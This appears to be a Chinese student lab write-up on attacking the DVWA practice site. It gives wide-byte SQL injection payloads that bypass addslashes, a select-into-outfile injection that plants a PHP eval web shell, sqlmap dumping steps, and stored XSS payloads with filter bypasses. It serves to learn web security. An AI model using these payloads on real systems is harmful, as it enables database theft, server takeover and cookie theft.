1、利用宽字节注入实现“库名-表名”的注入过程
由于查询的是username,考虑是字符型注入,先看看提示获得信息
构造payload:kobe%df' or 1=1#
发现查不到
就考虑是不是网站对输入内容做了处理,用burp抓个包看看:
发现网站对输入内容做了url编码处理,‘%’变成了%25,‘'’变成了%27,而且由于addslases函数会对单引号前面添加\做转义,使得or无法逃逸
构造payload:其中%df%5c在gbk编码中会被认为是一个字,这样就能使得单引号不会被转义,让or逃逸出来
试试看对抓到的包进行修改,看能不能传到数据库里被正常解析,:
发现成功,接着就是联合注入爆库名:
输入:%df' union all select database(),1#
burp改包:
查到库名:
接着查表名:%df' union all select 1,table_name from information_schema.tables where table_schema=database()#
2、利用SQL注入实现DVWA站点的Getshell
在Mysql数据库中存在 select into outfile 命令,该命令的作用是将被选择的一行代码写入一个文件 中,文件被创建到服务器上。
在low等级的sql注入模块构造一句话木马,将文件命名为shell1.php:
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell1.php
submit后输入网址来到这个界面,用hackbar就能进行相关命令输入了:
用蚁剑连接:
3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入
先对sql注入模块抓个包
将里面的内容创建到一个1.txt的文件中
接下来打开SQLmap,爆库名:
爆表名:
爆列名:
爆数据:
4、完成DVWA靶场存储型XSS的漏洞练习
1)Low
输入代码:
<script>alert(document.cookie)</script>
造成弹窗:
2)Medium
查看代码发现对Message文本框进行了addslashes函数处理,所以转而对Name处理,但是发现Name文本框对输入长度做了限制,可以通过F12打开控制台,修改长度:
构造大小写:
<Script>alert(document.cookie)</scrIpt>
3)High
通过代码可知这个等级在等级medium的基础上将Name文本框的<script>标签给过滤掉了,所以可以转用其他标签,如:
<img src=x onerror=alert(document.cookie)>
除了对前端页面进行改代码操作,也可以通过burp抓包修改内容进行绕过